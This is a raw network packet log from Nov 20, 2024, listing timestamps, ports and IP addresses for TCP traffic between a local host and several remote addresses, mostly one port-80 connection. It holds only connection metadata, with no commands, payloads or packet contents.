Nov 20, 2024 00:19:23.974412918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974421978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974438906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974457026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974468946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974489927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974541903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974551916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974576950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974601984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974627972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974656105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974680901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974689960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974698067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974724054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974742889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974756002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974765062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974788904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974822998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974826097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974855900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:23.974884033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.974903107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:23.979336977 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:23.990731955 CET	443	62054	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:23.990818977 CET	62054	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:24.003110886 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.003180027 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.003191948 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.003338099 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.003396034 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.004738092 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.007622004 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:24.007631063 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.007982016 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.011054993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011092901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011143923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011142969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011169910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011179924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011214972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011243105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011246920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011274099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011282921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011298895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011353016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011563063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011739016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011791945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011842012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011846066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011876106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011894941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011929989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.011940002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.011982918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012032986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012038946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012084007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012088060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012140989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012140989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012192965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012207031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012238979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012259960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012291908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012294054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012341022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012463093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012496948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012558937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012567043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012619972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012636900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012669086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012670994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012701988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012717962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012737036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012753963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012784958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012788057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012821913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012841940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012855053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012880087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012888908 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:24.012903929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012906075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012939930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.012954950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.012957096 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.012973070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013003111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013008118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013020992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013042927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013060093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013077974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013101101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013120890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013149977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013184071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013215065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013235092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013240099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013269901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013290882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013303995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013356924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013356924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013391018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013408899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013438940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013442993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013469934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013494968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013504028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013523102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013537884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013571978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013588905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013605118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013622999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013639927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013655901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013688087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013722897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013820887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013827085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013856888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013871908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013883114 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.013895988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013907909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013911009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013930082 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.013936043 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.013942003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013956070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.013959885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.013978004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014013052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014050961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014084101 CET	62061	443	192.168.2.5	18.164.116.57
Nov 20, 2024 00:19:24.014101982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014106989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014149904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014275074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014309883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014331102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014360905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014362097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014375925 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.014413118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014424086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014425993 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.014458895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014477968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014492035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014516115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014528990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014539003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014580011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014615059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014632940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014647961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014672041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014683008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014695883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014714956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014729977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014750957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014765978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014784098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014801979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014816999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014832973 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.014849901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014869928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014883995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.014909983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.014947891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.015269041 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.015362978 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.015382051 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.015423059 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.015444994 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.015491962 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.015712976 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.019474983 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.019500971 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.019951105 CET	62053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.019978046 CET	443	62053	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.020575047 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.020984888 CET	62055	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.020996094 CET	443	62055	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.021603107 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.021641016 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.021754980 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.022955894 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:24.022980928 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.023822069 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.024286985 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.024307013 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.025888920 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:24.025980949 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.026297092 CET	62060	443	192.168.2.5	20.110.205.119
Nov 20, 2024 00:19:24.029400110 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.029424906 CET	443	62057	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.029443026 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.029472113 CET	62057	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.029831886 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.029896975 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.030020952 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.030872107 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.030904055 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.031486988 CET	62059	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.031498909 CET	443	62059	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.034661055 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.034729004 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.034743071 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.034784079 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.035759926 CET	62064	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.035765886 CET	443	62064	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.037801027 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.037859917 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.037867069 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.037906885 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.039330006 CET	62056	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.039351940 CET	443	62056	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.040770054 CET	62058	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.055375099 CET	443	62061	18.164.116.57	192.168.2.5
Nov 20, 2024 00:19:24.061528921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061588049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061655998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061670065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.061691999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061719894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.061727047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061742067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.061779976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061780930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.061830997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.061831951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061882973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061935902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.061945915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.061980009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062012911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062048912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062050104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062077045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062083006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062112093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062118053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062151909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062174082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062189102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062210083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062227011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062238932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062279940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062280893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062314987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062331915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062347889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062366962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062382936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062403917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062417030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062426090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062450886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062469959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062484026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062500000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062513113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.062532902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.062556028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.067364931 CET	443	62060	20.110.205.119	192.168.2.5
Nov 20, 2024 00:19:24.067934990 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.068007946 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.068129063 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.069217920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.069269896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.069287062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.069303036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.069334030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.069356918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.069396973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.069430113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.069447994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.069464922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.069483042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.069499969 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.069525003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.069605112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.070029020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070063114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070091963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.070097923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070123911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.070130110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070141077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.070166111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070179939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.070199013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070219040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.070233107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070281029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.070286989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.070343018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.075716019 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.075886011 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.075962067 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.077352047 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.077352047 CET	62051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.077374935 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.077384949 CET	443	62051	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.080636978 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.080657959 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.080725908 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.081115961 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.081144094 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.081159115 CET	62052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.081165075 CET	443	62052	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.082560062 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.082572937 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.084697008 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.084733009 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.084810019 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.085081100 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.085092068 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.092539072 CET	443	62058	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.092570066 CET	443	62058	104.117.182.9	192.168.2.5
